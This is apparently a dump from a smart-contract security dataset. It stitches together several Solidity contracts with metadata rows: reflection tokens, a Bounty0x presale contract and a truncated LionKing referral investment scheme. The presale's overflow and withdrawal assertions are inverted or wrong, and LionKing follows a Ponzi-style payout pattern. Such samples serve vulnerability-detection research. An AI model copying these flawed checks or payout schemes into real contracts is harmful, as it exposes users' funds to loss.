_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 322,785 | 10,608 |
5ebc2addeea00beb8a88596faa9cb827653d3caae634be3b4ef1ef873ffa83d3
| 9,182 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x9922bff8380e9062eda0ad2f5712d96a88c3d0b3.sol
| 2,164 | 9,148 |
pragma solidity ^0.4.15;
contract Owned {
address public owner;
function Owned() { owner = msg.sender; }
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Bounty0xPresale is Owned {
// -------------------------------------------------------------------------------------
// TODO Before deployment of contract to Mainnet
// 1. Confirm MINIMUM_PARTICIPATION_AMOUNT and MAXIMUM_PARTICIPATION_AMOUNT below
// 2. Adjust PRESALE_MINIMUM_FUNDING and PRESALE_MAXIMUM_FUNDING to desired EUR
// equivalents
// 3. Adjust PRESALE_START_DATE and confirm the presale period
// 4. Update TOTAL_PREALLOCATION to the total preallocations received
// 5. Add each preallocation address and funding amount from the Sikoba bookmaker
// to the constructor function
// 6. Test the deployment to a dev blockchain or Testnet to confirm the constructor
// will not run out of gas as this will vary with the number of preallocation
// account entries
// 7. A stable version of Solidity has been used. Check for any major bugs in the
// Solidity release announcements after this version.
// 8. Remember to send the preallocated funds when deploying the contract!
// -------------------------------------------------------------------------------------
// contract closed
bool private saleHasEnded = false;
// set whitelisting filter on/off
bool private isWhitelistingActive = true;
// Keep track of the total funding amount
uint256 public totalFunding;
// Minimum and maximum amounts per transaction for public participants
uint256 public constant MINIMUM_PARTICIPATION_AMOUNT = 0.1 ether;
uint256 public MAXIMUM_PARTICIPATION_AMOUNT = 3.53 ether;
// Minimum and maximum goals of the presale
uint256 public constant PRESALE_MINIMUM_FUNDING = 1 ether;
uint256 public constant PRESALE_MAXIMUM_FUNDING = 705 ether;
// Total preallocation in wei
//uint256 public constant TOTAL_PREALLOCATION = 15 ether;
// Public presale period
// Starts Nov 20 2017 @ 14:00PM (UTC) 2017-11-20T14:00:00+00:00 in ISO 8601
// Ends 1 weeks after the start
uint256 public constant PRESALE_START_DATE = 1511186400;
uint256 public constant PRESALE_END_DATE = PRESALE_START_DATE + 2 weeks;
// Owner can clawback after a date in the future, so no ethers remain
// trapped in the contract. This will only be relevant if the
// minimum funding level is not reached
// Dec 13 @ 13:00pm (UTC) 2017-12-03T13:00:00+00:00 in ISO 8601
uint256 public constant OWNER_CLAWBACK_DATE = 1512306000;
/// @notice Keep track of all participants contributions, including both the
/// preallocation and public phases
/// @dev Name complies with ERC20 token standard, etherscan for example will recognize
/// this and show the balances of the address
mapping (address => uint256) public balanceOf;
/// List of whitelisted participants
mapping (address => bool) public earlyParticipantWhitelist;
/// @notice Log an event for each funding contributed during the public phase
/// @notice Events are not logged when the constructor is being executed during
/// deployment, so the preallocations will not be logged
event LogParticipation(address indexed sender, uint256 value, uint256 timestamp);
function Bounty0xPresale () payable {
//assertEquals(TOTAL_PREALLOCATION, msg.value);
// Pre-allocations
//addBalance(0xdeadbeef, 10 ether);
//addBalance(0xcafebabe, 5 ether);
//assertEquals(TOTAL_PREALLOCATION, totalFunding);
}
/// @notice A participant sends a contribution to the contract's address
/// between the PRESALE_STATE_DATE and the PRESALE_END_DATE
/// @notice Only contributions between the MINIMUM_PARTICIPATION_AMOUNT and
/// MAXIMUM_PARTICIPATION_AMOUNT are accepted. Otherwise the transaction
/// is rejected and contributed amount is returned to the participant's
/// account
/// @notice A participant's contribution will be rejected if the presale
/// has been funded to the maximum amount
function () payable {
require(!saleHasEnded);
// A participant cannot send funds before the presale start date
require(now > PRESALE_START_DATE);
// A participant cannot send funds after the presale end date
require(now < PRESALE_END_DATE);
// A participant cannot send less than the minimum amount
require(msg.value >= MINIMUM_PARTICIPATION_AMOUNT);
// A participant cannot send more than the maximum amount
require(msg.value <= MAXIMUM_PARTICIPATION_AMOUNT);
// If whitelist filtering is active, if so then check the contributor is in list of addresses
if (isWhitelistingActive) {
require(earlyParticipantWhitelist[msg.sender]);
}
// A participant cannot send funds if the presale has been reached the maximum funding amount
require(safeIncrement(totalFunding, msg.value) <= PRESALE_MAXIMUM_FUNDING);
// Register the participant's contribution
addBalance(msg.sender, msg.value);
}
/// @notice The owner can withdraw ethers after the presale has completed,
/// only if the minimum funding level has been reached
function ownerWithdraw(uint256 value) external onlyOwner {
if (totalFunding >= PRESALE_MAXIMUM_FUNDING) {
owner.transfer(value);
saleHasEnded = true;
} else {
// The owner cannot withdraw before the presale ends
require(now >= PRESALE_END_DATE);
// The owner cannot withdraw if the presale did not reach the minimum funding amount
require(totalFunding >= PRESALE_MINIMUM_FUNDING);
// Withdraw the amount requested
owner.transfer(value);
}
}
/// @notice The participant will need to withdraw their funds from this contract if
/// the presale has not achieved the minimum funding level
function participantWithdrawIfMinimumFundingNotReached(uint256 value) external {
// Participant cannot withdraw before the presale ends
require(now >= PRESALE_END_DATE);
// Participant cannot withdraw if the minimum funding amount has been reached
require(totalFunding <= PRESALE_MINIMUM_FUNDING);
// Participant can only withdraw an amount up to their contributed balance
assert(balanceOf[msg.sender] < value);
// Participant's balance is reduced by the claimed amount.
balanceOf[msg.sender] = safeDecrement(balanceOf[msg.sender], value);
// Send ethers back to the participant's account
msg.sender.transfer(value);
}
/// @notice The owner can clawback any ethers after a date in the future, so no
/// ethers remain trapped in this contract. This will only be relevant
/// if the minimum funding level is not reached
function ownerClawback() external onlyOwner {
// The owner cannot withdraw before the clawback date
require(now >= OWNER_CLAWBACK_DATE);
// Send remaining funds back to the owner
owner.transfer(this.balance);
}
// Set addresses in whitelist
function setEarlyParicipantWhitelist(address addr, bool status) external onlyOwner {
earlyParticipantWhitelist[addr] = status;
}
/// Ability to turn of whitelist filtering after 24 hours
function whitelistFilteringSwitch() external onlyOwner {
if (isWhitelistingActive) {
isWhitelistingActive = false;
MAXIMUM_PARTICIPATION_AMOUNT = 30000 ether;
} else {
revert();
}
}
/// @dev Keep track of participants contributions and the total funding amount
function addBalance(address participant, uint256 value) private {
// Participant's balance is increased by the sent amount
balanceOf[participant] = safeIncrement(balanceOf[participant], value);
// Keep track of the total funding amount
totalFunding = safeIncrement(totalFunding, value);
// Log an event of the participant's contribution
LogParticipation(participant, value, now);
}
/// @dev Throw an exception if the amounts are not equal
function assertEquals(uint256 expectedValue, uint256 actualValue) private constant {
assert(expectedValue == actualValue);
}
/// @dev Add a number to a base value. Detect overflows by checking the result is larger
/// than the original base value.
function safeIncrement(uint256 base, uint256 increment) private constant returns (uint256) {
assert(increment >= base);
return base + increment;
}
/// @dev Subtract a number from a base value. Detect underflows by checking that the result
/// is smaller than the original base value
function safeDecrement(uint256 base, uint256 decrement) private constant returns (uint256) {
assert(decrement <= base);
return base - decrement;
}
}
| 177,475 | 10,609 |
65ee3bd63ed826ae4e7be56b8e976319bf1a22ae8b192aa495c267d294d871e2
| 25,822 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/21/21f955e0375e9c575c5ab91b5e882461413a2279_DatingDoge.sol
| 4,439 | 16,383 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DatingDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Dating Doge';
string private _symbol = 'DD';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(8);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 73,552 | 10,610 |
e490275abb9a99e3da76e37a86b44757ab45d7176e48e67cc6882512f7d5a58e
| 17,879 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TQ/TQN1vdrGXcvHYybpxvUwoevHgdbCxQ4UvM_LionKing.sol
| 4,616 | 16,678 |
//SourceUnit: LionKing.sol
pragma solidity ^0.5.4;
contract LionKing {
modifier onlyRegisterd {
require(users[msg.sender].deposits.length>0, "not registered");
_;
}
modifier onceADay {
require(block.timestamp > users[msg.sender].checkpoint + DAY, "Ops!");
_;
}
modifier onlyOwner {
require(msg.sender==owner, "Access denied");
_;
}
ITRC20 public token;
address public tokenBank;
uint8[4] public REFERRAL_PERCENTS = [80, 40, 20, 10];
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public DAY = 1 days;
uint constant public DIV_STOP = 250;//25%
uint constant public MAX_PROFIT = 2500;//250%
uint constant public MIN_DIVIDEND = 50 trx;
uint constant public MIN_TRADE = 1000 trx;
uint constant public REDEPOSIT = 700;//70%
address payable[5] public TOP_INVESTORS;
uint[5] public TOP_AMOUNTS;
uint constant public TOP_INVESTORS_SAHRE = 10;//1%
uint16[5] public TOP_INVESTORS_PERCENTS = [500, 200, 150, 100, 50];
uint public totalUsers;
uint public totalSystemInvested;
uint public totalSystemLionTrade;
uint public dailyCheckpoint;
uint public checkBalance;
address payable public LION_TRADE;
address payable public marketingAddress;
address payable public devAddress;
address payable public communityWallet;
address payable public adminWallet;
address payable public refundAddress;
uint256 launchTime = 1627907400;
using SafeMath for uint64;
using SafeMath for uint256;
struct Deposit{
uint64 amount;
uint64 withdrawn;
}
struct User {
uint64 totalRefBonus;
uint64 totalLionTrade;
uint64 totalTopInvestorReward;
uint64 reActivateAmount;
uint64 totalReActivateAmount;
uint32 checkpoint;
address payable referrer;
uint40[4] uplines;
Deposit[] deposits;
}
mapping(address => User) public users;
uint[] public balances;
uint[] public intervals;
address private owner;
event NewUser(address indexed user, address referrer, uint amount);
event NewDeposit(address indexed user, uint256 amount);
event NewLionTradeDeposit(address indexed user, uint256 amount, uint256 total);
event Withdrawn(address indexed user, uint256 dividends);
event Reinvest(address indexed user, uint256 dividends);
event RefWithdrawn(address indexed user, uint256 profit, uint256 currentBonus);
constructor(address payable marketingAddr, address payable communityAddr
, address payable adminAddr, address payable devAddr, address payable _trade,
ITRC20 _token, address _tokenBank) public {
require(!isContract(marketingAddr) &&
!isContract(communityAddr) &&
!isContract(devAddr) &&
!isContract(adminAddr));
LION_TRADE = _trade;
owner=msg.sender;
token=_token;
tokenBank = _tokenBank;
dailyCheckpoint = block.timestamp;
marketingAddress = marketingAddr;
communityWallet = communityAddr;
devAddress = devAddr;
adminWallet=adminAddr;
users[devAddress].deposits.push(Deposit(1 trx, 0));
}
//////////////////////////////////////////////////////////
//------------------private functions-------------------//
function computeUserDividends(address _user) private returns (uint){
if(block.timestamp < launchTime+5 days) return 0;
uint dividend=0;
uint totalDividend=0;
User storage user=users[_user];
(uint totalDeposit,) = getTotalDeposit(_user);
for(uint i=0; i<user.deposits.length;i++){
Deposit storage dep = user.deposits[i];
uint pureWithdrawn = dep.withdrawn*30/100;
if(pureWithdrawn>=dep.amount*MAX_PROFIT/PERCENTS_DIVIDER) continue;
dividend = getDepositDividend(dep.amount, user.checkpoint);
if(dividend+pureWithdrawn>dep.amount*MAX_PROFIT/PERCENTS_DIVIDER)
dividend=(dep.amount*MAX_PROFIT/PERCENTS_DIVIDER).sub(pureWithdrawn);
if(totalDividend+dividend>=totalDeposit*DIV_STOP/PERCENTS_DIVIDER){
dep.withdrawn += uint64((totalDeposit*DIV_STOP/PERCENTS_DIVIDER).sub(totalDividend));
totalDividend = totalDeposit*DIV_STOP/PERCENTS_DIVIDER;
return totalDividend;
}else{
user.deposits[i].withdrawn+=uint64(dividend);
totalDividend+=dividend;
}
}
return totalDividend;
}
function payLeadership(uint _amount) private {
address payable upline = users[msg.sender].referrer;
for (uint i = 0; i < REFERRAL_PERCENTS.length; i++) {
if (upline != address(0)) {
users[upline].totalRefBonus += uint64(_amount * REFERRAL_PERCENTS[i] / PERCENTS_DIVIDER);
upline.transfer(_amount * REFERRAL_PERCENTS[i] / PERCENTS_DIVIDER);
upline = users[upline].referrer;
} else break;
}
}
function countLeadership() private {
address upline = users[msg.sender].referrer;
for (uint i = 0; i < REFERRAL_PERCENTS.length; i++) {
if (upline != address(0)) {
users[upline].uplines[i]++;
upline = users[upline].referrer;
} else break;
}
}
function payAdminOnReDep(uint _amount) private {
marketingAddress.transfer(_amount*2/100);
devAddress.transfer(_amount*2/100);
communityWallet.transfer(_amount*2/100);
adminWallet.transfer(_amount*2/100);
}
function payAdminOnMaxDep(uint _amount) private {
marketingAddress.transfer(_amount*4/100);
devAddress.transfer(_amount*4/100);
communityWallet.transfer(_amount*3/100);
}
function payAdminOnTradeDep(uint _amount) private {
marketingAddress.transfer(_amount*4/100);
devAddress.transfer(_amount*3/100);
communityWallet.transfer(_amount*3/100);
adminWallet.transfer(_amount*2/100);
}
function payAdminOnWithdrawal(uint _amount) private {
uint fee = _amount*5/100;
if(fee > address(this).balance) fee=address(this).balance;
if(fee>0) marketingAddress.transfer(fee);
fee = _amount*3/100;
if(fee > address(this).balance) fee=address(this).balance;
if(fee>0) devAddress.transfer(fee);
fee = _amount*2/100;
if(fee > address(this).balance) fee=address(this).balance;
if(fee>0) communityWallet.transfer(fee);
}
function payTopInvestors() private {
uint amount = msg.value*TOP_INVESTORS_SAHRE/PERCENTS_DIVIDER;
for (uint i = 0; i < TOP_INVESTORS.length; i++) {
if (TOP_INVESTORS[i] != address(0)) {
users[TOP_INVESTORS[i]].totalTopInvestorReward += uint64(amount * TOP_INVESTORS_PERCENTS[i] / PERCENTS_DIVIDER);
TOP_INVESTORS[i].transfer(amount * TOP_INVESTORS_PERCENTS[i] / PERCENTS_DIVIDER);
} else break;
}
}
function updateTopInvestors() private {
